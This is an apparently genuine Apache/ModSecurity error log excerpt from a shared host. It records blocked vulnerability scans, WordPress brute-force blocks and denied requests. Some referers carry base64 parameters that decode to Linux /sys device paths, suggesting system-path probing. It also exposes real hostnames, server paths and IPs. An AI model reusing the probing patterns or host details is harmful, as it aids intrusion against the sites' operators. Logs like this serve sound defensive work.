"torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30cLV-dFiaX9AtWiQiEQABN1k"] [Sat Jun 13 18:23:12.121883 2026] [security2:error] [pid 715691:tid 715831] [remote 17.241.219.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30cLV-dFiaX9AtWiQiEwABiXg"] [Sat Jun 13 18:23:12.200548 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.38:64149] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:12.201008 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.38:64149] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:12.377424 2026] [security2:error] [pid 715691:tid 715817] [remote 17.246.19.145:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30cLV-dFiaX9AtWiQiIQABe2o"] [Sat Jun 13 18:23:12.454662 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:23:12.455113 2026] [access_compat:error] [pid 646876:tid 646959] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9zdWJzeXN0ZW0vZGV2aWNlcy9zZXJpbzE= [Sat Jun 13 18:23:12.644966 2026] [security2:error] [pid 715691:tid 715918] [client 189.217.192.30:50422] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1482"] [id "909121"] [msg "IP address blocked, too many xmlrpc.php failures"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai30cLV-dFiaX9AtWiQiMQAAAVc"] [Sat Jun 13 18:23:12.646209 2026] [security2:error] [pid 715691:tid 715918] [client 189.217.192.30:50422] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai30cLV-dFiaX9AtWiQiMQAAAVc"] [Sat Jun 13 18:23:12.803456 2026] [security2:error] [pid 715691:tid 715724] [remote 17.22.237.199:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30cLV-dFiaX9AtWiQiOgABKg4"] [Sat Jun 13 18:23:12.989456 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:23:12.989909 2026] [access_compat:error] [pid 646876:tid 646990] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvZXZlbnQ0L3N1YnN5c3RlbS9ldmVudDIvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:23:13.026152 2026] [security2:error] [pid 646876:tid 647026] [client 189.217.192.30:50423] ModSecurity: Access denied with code 406 (phase 2). Operator GT matched 0 at USER:bf_block. [file "/opt/mod_security/hg_rules.conf"] [line "1054"] [id "900998"] [msg "Wordpress Brute Force 15 attempts in 3 Mins. 5 Min block"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai30cdyTkdrNlD40tSHRYgAAABI"] [Sat Jun 13 18:23:13.026336 2026] [security2:error] [pid 646876:tid 647026] [client 189.217.192.30:50423] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "406"] [hostname "kawasakiz1.com"] [uri "/wp-login.php"] [unique_id "ai30cdyTkdrNlD40tSHRYgAAABI"] [Sat Jun 13 18:23:13.108857 2026] [security2:error] [pid 715691:tid 715805] [remote 17.241.219.18:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30cbV-dFiaX9AtWiQiRwABRl4"] [Sat Jun 13 18:23:13.173435 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.19:46892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:13.173805 2026] [access_compat:error] [pid 646876:tid 646988] [remote 57.141.14.19:46892] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:13.195798 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.9:32630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:13.196082 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.9:32630] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:13.408544 2026] [security2:error] [pid 646876:tid 646889] [remote 17.246.23.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30cdyTkdrNlD40tSHRaAAAMwo"] [Sat Jun 13 18:23:13.486272 2026] [access_compat:error] [pid 715691:tid 715719] [remote 57.141.14.30:65302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:13.486561 2026] [access_compat:error] [pid 715691:tid 715719] [remote 57.141.14.30:65302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:13.499198 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:13.499486 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:23:13.825341 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.32:52063] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:13.825604 2026] [access_compat:error] [pid 646876:tid 646979] [remote 57.141.14.32:52063] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:13.974398 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:23:13.974851 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:23:14.081647 2026] [security2:error] [pid 715691:tid 715955] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/mktime_variation2.phpt"] [unique_id "ai30crV-dFiaX9AtWiQiagAAAXw"] [Sat Jun 13 18:23:14.120854 2026] [security2:error] [pid 715691:tid 715770] [remote 17.241.219.245:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 245.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30crV-dFiaX9AtWiQibQABGDs"] [Sat Jun 13 18:23:14.161568 2026] [security2:error] [pid 715691:tid 715728] [remote 17.246.23.224:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30crV-dFiaX9AtWiQicAABDBI"] [Sat Jun 13 18:23:14.181098 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.78:56274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:14.181549 2026] [access_compat:error] [pid 646876:tid 646974] [remote 57.141.14.78:56274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:14.351555 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.56:24254] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:14.351882 2026] [access_compat:error] [pid 646876:tid 646904] [remote 57.141.14.56:24254] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:14.484112 2026] [access_compat:error] [pid 715691:tid 715808] [remote 57.141.14.52:30334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:14.484372 2026] [access_compat:error] [pid 715691:tid 715808] [remote 57.141.14.52:30334] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:14.510901 2026] [security2:error] [pid 715691:tid 715720] [remote 17.246.23.183:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 183.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30crV-dFiaX9AtWiQifgABDwo"] [Sat Jun 13 18:23:14.560941 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:14.561374 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9kZXZpY2UvbW91c2UxL3N1YnN5c3RlbS9ldmVudDMvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:14.721136 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.110:37668] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:14.721429 2026] [access_compat:error] [pid 646876:tid 646938] [remote 57.141.14.110:37668] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:15.054559 2026] [access_compat:error] [pid 715691:tid 715835] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:15.055013 2026] [access_compat:error] [pid 715691:tid 715835] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:15.089932 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:23:15.090211 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:23:15.128419 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.98:46212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:15.128864 2026] [access_compat:error] [pid 715691:tid 715806] [remote 57.141.14.98:46212] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:15.188549 2026] [security2:error] [pid 715691:tid 715811] [remote 17.241.227.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30c7V-dFiaX9AtWiQiogABW2Q"] [Sat Jun 13 18:23:15.217227 2026] [security2:error] [pid 715691:tid 715711] [remote 17.22.245.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30c7V-dFiaX9AtWiQipAABdwE"] [Sat Jun 13 18:23:15.508532 2026] [security2:error] [pid 715691:tid 715714] [remote 17.246.19.21:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30c7V-dFiaX9AtWiQisAABOgQ"] [Sat Jun 13 18:23:15.606067 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:23:15.606448 2026] [access_compat:error] [pid 646876:tid 646885] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 